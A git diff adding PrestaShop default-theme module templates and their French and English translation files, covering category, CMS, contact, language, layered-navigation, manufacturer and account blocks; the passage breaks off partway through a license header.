        +

        {l s='Categories' mod='blockcategories'}

        +
        +
          + {foreach from=$blockCategTree.children item=child name=blockCategTree} + {if $smarty.foreach.blockCategTree.last} + {include file="$branche_tpl_path" node=$child last='true'} + {else} + {include file="$branche_tpl_path" node=$child} + {/if} + {/foreach} +
        + {* Javascript moved here to fix bug #PSCFI-151 *} + +
        +
        + diff --git a/themes/default/modules/blockcategories/blockcategories_footer.tpl b/themes/default/modules/blockcategories/blockcategories_footer.tpl new file mode 100755 index 0000000..cfa489f --- /dev/null +++ b/themes/default/modules/blockcategories/blockcategories_footer.tpl @@ -0,0 +1,55 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + diff --git a/themes/default/modules/blockcategories/category-tree-branch.tpl b/themes/default/modules/blockcategories/category-tree-branch.tpl new file mode 100755 index 0000000..d420cc3 --- /dev/null +++ b/themes/default/modules/blockcategories/category-tree-branch.tpl @@ -0,0 +1,39 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
      • + {$node.name|escape:'htmlall':'UTF-8'} + {if $node.children|@count > 0} +
          + {foreach from=$node.children item=child name=categoryTreeBranch} + {if $smarty.foreach.categoryTreeBranch.last} + {include file="$branche_tpl_path" node=$child last='true'} + {else} + {include file="$branche_tpl_path" node=$child last='false'} + {/if} + {/foreach} +
        + {/if} +
      • diff --git a/themes/default/modules/blockcategories/translations/en.php b/themes/default/modules/blockcategories/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/blockcategories/translations/fr.php b/themes/default/modules/blockcategories/translations/fr.php new file mode 100755 index 0000000..7b0968f --- /dev/null +++ b/themes/default/modules/blockcategories/translations/fr.php @@ -0,0 +1,6 @@ +blockcategories_footer_af1b98adf7f686b84cd0b443e022b7a0'] = 'Catégories'; +$_MODULE['<{blockcategories}default>blockcategories_af1b98adf7f686b84cd0b443e022b7a0'] = 'Catégories'; diff --git a/themes/default/modules/blockcms/blockcms.tpl b/themes/default/modules/blockcms/blockcms.tpl new file mode 100755 index 0000000..5fe0f93 --- /dev/null +++ b/themes/default/modules/blockcms/blockcms.tpl @@ -0,0 +1,66 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $block == 1} + + {foreach from=$cms_titles key=cms_key item=cms_title} +
        +

        {if !empty($cms_title.name)}{$cms_title.name}{else}{$cms_title.category_name}{/if}

        + +
        + {/foreach} + +{else} + + + +{/if} diff --git a/themes/default/modules/blockcms/translations/en.php b/themes/default/modules/blockcms/translations/en.php new file mode 100755 index 0000000..e88adef --- /dev/null +++ b/themes/default/modules/blockcms/translations/en.php @@ -0,0 +1,7 @@ +blockcms_965be994da393e5aa15bd3a2444c6ccf'] = 'Footer\'s various links Configuration'; +$_MODULE['<{blockcms}default>blockcms_3cb29f0ccc5fd220a97df89dafe46290'] = 'Best sellers'; +$_MODULE['<{blockcms}default>blockcms_e1da49db34b0bdfdddaba2ad6552f848'] = 'Sitemap'; diff --git a/themes/default/modules/blockcms/translations/fr.php b/themes/default/modules/blockcms/translations/fr.php new file mode 100755 index 0000000..a593f43 --- /dev/null +++ b/themes/default/modules/blockcms/translations/fr.php @@ -0,0 +1,70 @@ +blockcms_cd275312651aebf8cbbb8d3bb1c086ae'] = 'Bloc CMS'; +$_MODULE['<{blockcms}default>blockcms_cdca12007979fc49008fd125cdb775fc'] = 'Ajoute un bloc contenant plusieurs lien vers vos pages CMS'; +$_MODULE['<{blockcms}default>blockcms_a82be0f551b8708bc08eb33cd9ded0cf'] = 'Information'; +$_MODULE['<{blockcms}default>blockcms_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{blockcms}default>blockcms_ef61fb324d729c341ea8ab9901e23566'] = 'Ajouter un bloc'; +$_MODULE['<{blockcms}default>blockcms_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blockcms}default>blockcms_97390dd0b5ba7867120aee2ff22bfa38'] = 'Configuration du bloc CMS'; +$_MODULE['<{blockcms}default>blockcms_94ff014237f6f5cbf5c3655f5ef513c9'] = 'Blocs CMS'; +$_MODULE['<{blockcms}default>blockcms_965be994da393e5aa15bd3a2444c6ccf'] = 'Configuration des liens CMS en pied de page'; +$_MODULE['<{blockcms}default>blockcms_89887a6d62110cbd72c15218a2d0fda9'] = 'Afficher les liens d\'informations dans le pied de page.'; +$_MODULE['<{blockcms}default>blockcms_48566f492af8fd2346b20dbd32168476'] = 'Lien de pied de page'; +$_MODULE['<{blockcms}default>blockcms_e363df19c685465bca24d0c06d9394c7'] = 'Sélectionnez les pages que vous souhaitez afficher dans le bloc CMS de pied de page'; +$_MODULE['<{blockcms}default>blockcms_6c5f7d2f911e91ebd0c077fe770e739e'] = 'Informations de pied de page'; +$_MODULE['<{blockcms}default>blockcms_fc3faf66c0ea5f710cc58d24fbe4a5b6'] = 'Afficher \"Propulsé par PrestaShop\"'; +$_MODULE['<{blockcms}default>blockcms_9aa03a5dca2e060a4ecbff0dd8616692'] = 'Enregistrer'; +$_MODULE['<{blockcms}default>blockcms_be58fccb15fb119b8c3d485e3a8561c4'] = 'Configuration du bloc CMS'; +$_MODULE['<{blockcms}default>blockcms_0eb46571f3ff926d8b2408cafcfc17e3'] = 'Modification du bloc CMS'; +$_MODULE['<{blockcms}default>blockcms_ac59142b8d4c64f836acbc239e1cebf0'] = 'Nouveau bloc CMS'; +$_MODULE['<{blockcms}default>blockcms_f6d0c20ad12958928f865e5d49fc10f0'] = 'Nom du bloc'; +$_MODULE['<{blockcms}default>blockcms_51b274d417210e74d2cfe9e0713602f2'] = 'Si vous laissez ce champ vide, le nom du bloc sera le nom de la catégorie'; +$_MODULE['<{blockcms}default>blockcms_fca0206c8afc8d67969f9aec20e3287e'] = 'Catégorie du CMS :'; +$_MODULE['<{blockcms}default>blockcms_abf9012e9560b3c44a536f5c4a2a0b62'] = 'Emplacement :'; +$_MODULE['<{blockcms}default>blockcms_945d5e233cf7d6240f6b783b36a374ff'] = 'Gauche'; +$_MODULE['<{blockcms}default>blockcms_92b09c7c48c520c3c55e497875da437c'] = 'Droite'; +$_MODULE['<{blockcms}default>blockcms_5e2b11203c9a4ac0ec01e7bb31e256f6'] = 'Afficher les magasins'; +$_MODULE['<{blockcms}default>blockcms_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{blockcms}default>blockcms_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{blockcms}default>blockcms_8537cb2cf041c2243fef92931ed93b90'] = 'Afficher \"nos magasins\" à la fin du bloc.'; +$_MODULE['<{blockcms}default>blockcms_55737e084beaa370a127f3f031f1932e'] = 'Contenu du CMS :'; +$_MODULE['<{blockcms}default>blockcms_04313a11bf4a501b7cf2273ea7b32862'] = 'Sélectionnez les pages que vous souhaitez afficher dans ce bloc'; +$_MODULE['<{blockcms}default>blockcms_0d6d7a7c758cd16507d4aebf18305691'] = 'Valeur d\'affichage non valable pour le magasin'; +$_MODULE['<{blockcms}default>blockcms_4eb9b68883615faa427da721fad14422'] = 'Emplacement non valable pour le bloc'; +$_MODULE['<{blockcms}default>blockcms_795c54de995b69fe05142dad6f99ef92'] = 'Vous devez choisir au moins une page ou sous-catégorie pour créer un bloc CMS.'; +$_MODULE['<{blockcms}default>blockcms_0788bfffae213b06afb540bf06926652'] = 'Page ou catégorie CMS non valable'; +$_MODULE['<{blockcms}default>blockcms_7125483712689cd7a6f85b466a8a7632'] = 'Le nom du bloc est trop long'; +$_MODULE['<{blockcms}default>blockcms_ede67d50014846cb8bb1b00d5fde77be'] = 'id_cms_block invalide'; +$_MODULE['<{blockcms}default>blockcms_2d81a9da91ff3f073e6aecbe42c33e69'] = 'Veuillez fournir un text de pied de page pour la langue par défaut'; +$_MODULE['<{blockcms}default>blockcms_a419b919d146d5db83f22d375d329a59'] = 'Activation non valable pour le pied de page'; +$_MODULE['<{blockcms}default>blockcms_20d52180b34f849cb2c885a8451dd328'] = 'Vous ne pouvez pas créer un nouveau bloc !'; +$_MODULE['<{blockcms}default>blockcms_238cadc4d64e9b144c10ee409835ee34'] = 'Erreur : vous essayez de supprimer un bloc CMS inexistant'; +$_MODULE['<{blockcms}default>blockcms_0c579767f53365887ac199a96e26c591'] = 'Informations du pied de page mises à jour'; +$_MODULE['<{blockcms}default>blockcms_c28716416d2fd75a37b4496586755853'] = 'Le bloc CMS a bien été ajouté'; +$_MODULE['<{blockcms}default>blockcms_a94db349ae0c662fd55c9d402481165b'] = 'Le bloc CMS a bien été modifié'; +$_MODULE['<{blockcms}default>blockcms_87a2663d841b78f01c27c0edb4f50b76'] = 'Suppression réussie'; +$_MODULE['<{blockcms}default>blockcms_34c869c542dee932ef8cd96d2f91cae6'] = 'Nos magasins'; +$_MODULE['<{blockcms}default>blockcms_d1aa22a3126f04664e0fe3f598994014'] = 'Promotions'; +$_MODULE['<{blockcms}default>blockcms_9ff0635f5737513b1a6f559ac2bff745'] = 'Nouveaux produits'; +$_MODULE['<{blockcms}default>blockcms_01f7ac959c1e6ebbb2e0ee706a7a5255'] = 'Meilleures ventes'; +$_MODULE['<{blockcms}default>blockcms_02d4482d332e1aef3437cd61c9bcc624'] = 'Contactez-nous'; +$_MODULE['<{blockcms}default>blockcms_5813ce0ec7196c492c97596718f71969'] = 'Plan du site'; +$_MODULE['<{blockcms}default>blockcms_7a52e36bf4a1caa031c75a742fb9927a'] = 'Propulsé par'; +$_MODULE['<{blockcms}default>form_4dabfa54822012dfc78d6ef40f224173'] = 'Blocs à gauche'; +$_MODULE['<{blockcms}default>form_d9ca3009e18447d91cd2e324e8e680ce'] = 'Blocs à droite'; +$_MODULE['<{blockcms}default>form_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{blockcms}default>form_83ef1503b3bd9858cc923a74e5f9e917'] = 'Nom du bloc'; +$_MODULE['<{blockcms}default>form_bb34a159a88035cce7ef1607e7907f8f'] = 'Nom de la catégorie'; +$_MODULE['<{blockcms}default>form_52f5e0bc3859bc5f5e25130b6c7e8881'] = 'Position'; +$_MODULE['<{blockcms}default>form_06df33001c1d7187fdd81ea1f5b277aa'] = 'Actions'; +$_MODULE['<{blockcms}default>form_08a38277b0309070706f6652eeae9a53'] = 'Descendre'; +$_MODULE['<{blockcms}default>form_258f49887ef8d14ac268c92b02503aaa'] = 'Monter'; +$_MODULE['<{blockcms}default>form_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{blockcms}default>form_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{blockcms}default>form_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{blockcms}default>form_f7c68d40f8727c658e821c6e6d56af07'] = 'Aucune page créée'; +$_MODULE['<{blockcms}default>blockcms_3cb29f0ccc5fd220a97df89dafe46290'] = 'Meilleures ventes'; +$_MODULE['<{blockcms}default>blockcms_e1da49db34b0bdfdddaba2ad6552f848'] = 'Plan du site'; diff --git a/themes/default/modules/blockcontact/blockcontact.tpl b/themes/default/modules/blockcontact/blockcontact.tpl new file mode 100755 index 0000000..2aec8af --- /dev/null +++ b/themes/default/modules/blockcontact/blockcontact.tpl @@ -0,0 +1,33 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        +

        {l s='Contact us' mod='blockcontact'}

        +
        +

        {l s='Our hotline is available 24/7' mod='blockcontact'}

        + {if $telnumber != ''}

        {l s='Phone:' mod='blockcontact'}{$telnumber|escape:'htmlall':'UTF-8'}

        {/if} + {if $email != ''}{l s='Contact our hotline' mod='blockcontact'}{/if} +
        +
        diff --git a/themes/default/modules/blockcontactinfos/blockcontactinfos.tpl b/themes/default/modules/blockcontactinfos/blockcontactinfos.tpl new file mode 100755 index 0000000..39ed5c2 --- /dev/null +++ b/themes/default/modules/blockcontactinfos/blockcontactinfos.tpl @@ -0,0 +1,37 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA + +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {l s='Contact us' mod='blockcontactinfos'}

        +
          + {if $blockcontactinfos_company != ''}
        • {$blockcontactinfos_company|escape:'htmlall':'UTF-8'}
        • {/if} + {if $blockcontactinfos_address != ''}
        • {$blockcontactinfos_address|escape:'htmlall':'UTF-8'}
        • {/if} + {if $blockcontactinfos_phone != ''}
        • {l s='Tel:' mod='blockcontactinfos'} {$blockcontactinfos_phone|escape:'htmlall':'UTF-8'}
        • {/if} + {if $blockcontactinfos_email != ''}
        • {l s='Email:' mod='blockcontactinfos'} {mailto address=$blockcontactinfos_email|escape:'htmlall':'UTF-8' encode="hex"}
        • {/if} +
        +
        + diff --git a/themes/default/modules/blockcontactinfos/translations/en.php b/themes/default/modules/blockcontactinfos/translations/en.php new file mode 100755 index 0000000..4afd3e4 --- /dev/null +++ b/themes/default/modules/blockcontactinfos/translations/en.php @@ -0,0 +1,6 @@ +blockcontactinfos_d0398e90769ea6ed2823a3857bcc19ea'] = 'Tel'; +$_MODULE['<{blockcontactinfos}default>blockcontactinfos_6a1e265f92087bb6dd18194833fe946b'] = 'Email'; diff --git a/themes/default/modules/blockcontactinfos/translations/fr.php b/themes/default/modules/blockcontactinfos/translations/fr.php new file mode 100755 index 0000000..2263e07 --- /dev/null +++ b/themes/default/modules/blockcontactinfos/translations/fr.php @@ -0,0 +1,16 @@ +blockcontactinfos_632535e0cdfd3380906f6b7d40ba78d3'] = 'Bloc infos contact'; +$_MODULE['<{blockcontactinfos}default>blockcontactinfos_86458ae1631be34a6fcbf1a4584f5abe'] = 'Ajoute un bloc permettant d\'afficher des informations sur les moyens de contacter la boutique'; +$_MODULE['<{blockcontactinfos}default>blockcontactinfos_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{blockcontactinfos}default>blockcontactinfos_c281f92b77ba329f692077d23636f5c9'] = 'Nom de la société'; +$_MODULE['<{blockcontactinfos}default>blockcontactinfos_dd7bf230fde8d4836917806aff6a6b27'] = 'Adresse'; +$_MODULE['<{blockcontactinfos}default>blockcontactinfos_1f8261d17452a959e013666c5df45e07'] = 'Numéro de téléphone'; +$_MODULE['<{blockcontactinfos}default>blockcontactinfos_ce8ae9da5b7cd6c3df2929543a9af92d'] = 'Email'; +$_MODULE['<{blockcontactinfos}default>blockcontactinfos_b17f3f4dcf653a5776792498a9b44d6a'] = 'Mettre à jour la configuration'; +$_MODULE['<{blockcontactinfos}default>blockcontactinfos_02d4482d332e1aef3437cd61c9bcc624'] = 'Contactez-nous'; +$_MODULE['<{blockcontactinfos}default>blockcontactinfos_2e006b735fbd916d8ab26978ae6714d4'] = 'Tél. :'; +$_MODULE['<{blockcontactinfos}default>blockcontactinfos_d0398e90769ea6ed2823a3857bcc19ea'] = 'Tél :'; +$_MODULE['<{blockcontactinfos}default>blockcontactinfos_6a1e265f92087bb6dd18194833fe946b'] = 'e-Mail :'; diff --git a/themes/default/modules/blockcustomerprivacy/translations/fr.php b/themes/default/modules/blockcustomerprivacy/translations/fr.php new file mode 100755 index 0000000..77b24af --- /dev/null +++ b/themes/default/modules/blockcustomerprivacy/translations/fr.php @@ -0,0 +1,15 @@ +blockcustomerprivacy_f2ec0fd2abc5714608241a1a0eac321b'] = 'Bloc confidentialité des données clients'; +$_MODULE['<{blockcustomerprivacy}default>blockcustomerprivacy_cb6b92b60c9302e74a26ac246d0af0fa'] = 'Ajoute un bloc qui affiche un message concernant la confidentialité des données clients.'; +$_MODULE['<{blockcustomerprivacy}default>blockcustomerprivacy_d71315851e7e67cbacf5101c5c4ab83d'] = 'Les informations personnelles que nous collectons sont destinées à mieux répondre à vos demandes et traiter vos commandes.'; +$_MODULE['<{blockcustomerprivacy}default>blockcustomerprivacy_b43d08355db3df47796e65c72cfd5714'] = 'Vous disposez à tout moment d’un droit d’accès, de modification et de suppression de vos informations personnelles que vous pouvez exercer via la page \"mon compte\" de ce site internet.'; +$_MODULE['<{blockcustomerprivacy}default>blockcustomerprivacy_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{blockcustomerprivacy}default>blockcustomerprivacy_d8b716e21c731aba4b94ba9f3ac4858c'] = 'Message concernant la confidentialité des données clients'; +$_MODULE['<{blockcustomerprivacy}default>blockcustomerprivacy_03e1a999dcdb904300ee1b1e767c83c9'] = 'Le message sera affiché sur le formulaire de création de compte.'; +$_MODULE['<{blockcustomerprivacy}default>blockcustomerprivacy_b51d73fb490ad1245fa9b87042bbbbb7'] = 'Astuce : si votre texte est trop long pour être affiché entièrement sur le formulaire d\'inscription sans gêner la navigation, vous pouvez à la place indiquer un lien vers une des pages que vous avez créées via la page \"CMS\".'; +$_MODULE['<{blockcustomerprivacy}default>blockcustomerprivacy_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{blockcustomerprivacy}default>blockcustomerprivacy_fb32badede7c8613fddb8502d847c18b'] = 'Veuillez accepter nos conditions concernant la confidentialité des données clients, en cochant la case ci-dessous.'; +$_MODULE['<{blockcustomerprivacy}default>blockcustomerprivacy_fb0440f9ca32a8b49eded51b09e70821'] = 'Confidentialité des données clients'; diff --git a/themes/default/modules/blocklanguages/blocklanguages.tpl b/themes/default/modules/blocklanguages/blocklanguages.tpl new file mode 100755 index 0000000..ae02af3 --- /dev/null +++ b/themes/default/modules/blocklanguages/blocklanguages.tpl @@ -0,0 +1,88 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{if isset($HOOK_MOBILE_HEADER)} + +{/if} +{if count($languages) > 1} +
        +
        + {* @todo fix display current languages, removing the first foreach loop *} +{foreach from=$languages key=k item=language name="languages"} + {if $language.iso_code == $lang_iso} + + {if isset($HOOK_MOBILE_HEADER)} +

        {$language.iso_code} {l s='Langues' mod='blocklanguages'}

        + {else} +

        {l s='Langues' mod='blocklanguages'} {$language.iso_code}

        + {/if} + {/if} +{/foreach} +
          + {foreach from=$languages key=k item=language name="languages"} +
        • + {if $language.iso_code != $lang_iso} + {/if} + {assign var=indice_lang value=$language.id_lang} + {if isset($lang_rewrite_urls.$indice_lang)} + + {else} + + + {/if} + {$language.name} {$language.iso_code} + + {if $language.iso_code != $lang_iso} + {/if} +
        • + {/foreach} +
        +
        +
        + + +{/if} + diff --git a/themes/default/modules/blocklanguages/translations/en.php b/themes/default/modules/blocklanguages/translations/en.php new file mode 100755 index 0000000..f01ded5 --- /dev/null +++ b/themes/default/modules/blocklanguages/translations/en.php @@ -0,0 +1,6 @@ +blocklanguages_89bfbd4f461e05245867f165be6ff66d'] = 'Where to find us ? '; +$_MODULE['<{blocklanguages}default>blocklanguages_1ea21417b4fc870a18d6a244983be72b'] = 'Languages'; diff --git a/themes/default/modules/blocklanguages/translations/fr.php b/themes/default/modules/blocklanguages/translations/fr.php new file mode 100755 index 0000000..0fbe280 --- /dev/null +++ b/themes/default/modules/blocklanguages/translations/fr.php @@ -0,0 +1,6 @@ +blocklanguages_d5988791c07fedc0e2fc77683b4e61f6'] = 'Bloc langues'; +$_MODULE['<{blocklanguages}default>blocklanguages_5b2b53f769604bcbee6f67882c73fb94'] = 'Ajoute un bloc permettant au client de choisir sa langue'; diff --git a/themes/default/modules/blocklayered/blocklayered.tpl b/themes/default/modules/blocklayered/blocklayered.tpl new file mode 100755 index 0000000..c9feb2e --- /dev/null +++ b/themes/default/modules/blocklayered/blocklayered.tpl @@ -0,0 +1,257 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registred Trademark & Property of PrestaShop SA +*} + + +{if $nbr_filterBlocks != 0} + +
        +

        {l s='Catalog' mod='blocklayered'}

        +
        +
        +
        + {if isset($selected_filters) && $n_filters > 0} +
        + {l s='Enabled filters:' mod='blocklayered'} +
          + {foreach from=$selected_filters key=filter_type item=filter_values} + {foreach from=$filter_values key=filter_key item=filter_value name=f_values} + {foreach from=$filters item=filter} + {if $filter.type == $filter_type && isset($filter.values)} + {if isset($filter.slider)} + {if $smarty.foreach.f_values.first} +
        • + x + {$filter.name|escape:html:'UTF-8'}{l s=':' mod='blocklayered'} + {if $filter.format} + {displayPrice price=$filter.values[0]} - + {displayPrice price=$filter.values[1]} + {else} + {$filter.values[0]|escape:html:'UTF-8'}{$filter.unit|escape:html:'UTF-8'} - + {$filter.values[1]|escape:html:'UTF-8'}{$filter.unit|escape:html:'UTF-8'} + {/if} +
        • + {/if} + {else} + {foreach from=$filter.values key=id_value item=value} + {if $id_value == $filter_key && !is_numeric($filter_value) && ($filter.type eq 'id_attribute_group' || $filter.type eq 'id_feature') || $id_value == $filter_value && $filter.type neq 'id_attribute_group' && $filter.type neq 'id_feature'} +
        • + x + {$filter.name|escape:html:'UTF-8'}{l s=':' mod='blocklayered'} {$value.name|escape:html:'UTF-8'} +
        • + {/if} + {/foreach} + {/if} + {/if} + {/foreach} + {/foreach} + {/foreach} +
        +
        + {/if} + {foreach from=$filters item=filter} + {if isset($filter.values)} + {if isset($filter.slider)} + + + {foreach from=$filters item=filter} + {if $filter.type_lite == 'id_attribute_group' && isset($filter.is_color_group) && $filter.is_color_group && $filter.filter_type != 2} + {foreach from=$filter.values key=id_value item=value} + {if isset($value.checked)} + + {/if} + {/foreach} + {/if} + {/foreach} + +
        + +
        +{else} +
        +
        +
        + +
        +
        +
        +


        {l s='Loading...' mod='blocklayered'}

        +
        +
        +{/if} + diff --git a/themes/default/modules/blocklink/blocklink.tpl b/themes/default/modules/blocklink/blocklink.tpl new file mode 100755 index 0000000..c594fd7 --- /dev/null +++ b/themes/default/modules/blocklink/blocklink.tpl @@ -0,0 +1,43 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + diff --git a/themes/default/modules/blockmanufacturer/blockmanufacturer.tpl b/themes/default/modules/blockmanufacturer/blockmanufacturer.tpl new file mode 100755 index 0000000..b821bef --- /dev/null +++ b/themes/default/modules/blockmanufacturer/blockmanufacturer.tpl @@ -0,0 +1,57 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {if $display_link_manufacturer}{/if}{l s='Manufacturers' mod='blockmanufacturer'}{if $display_link_manufacturer}{/if}

        +
        +{if $manufacturers} + {if $text_list} + + {/if} + {if $form_list} +
        +

        + +

        +
        + {/if} +{else} +

        {l s='No manufacturer' mod='blockmanufacturer'}

        +{/if} +
        +
        + diff --git a/themes/default/modules/blockmyaccount/blockmyaccount.tpl b/themes/default/modules/blockmyaccount/blockmyaccount.tpl new file mode 100755 index 0000000..a646ccd --- /dev/null +++ b/themes/default/modules/blockmyaccount/blockmyaccount.tpl @@ -0,0 +1,42 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + diff --git a/themes/default/modules/blockmyaccountfooter/blockmyaccountfooter.tpl b/themes/default/modules/blockmyaccountfooter/blockmyaccountfooter.tpl new file mode 100755 index 0000000..e196fc8 --- /dev/null +++ b/themes/default/modules/blockmyaccountfooter/blockmyaccountfooter.tpl @@ -0,0 +1,42 @@ +{* +* 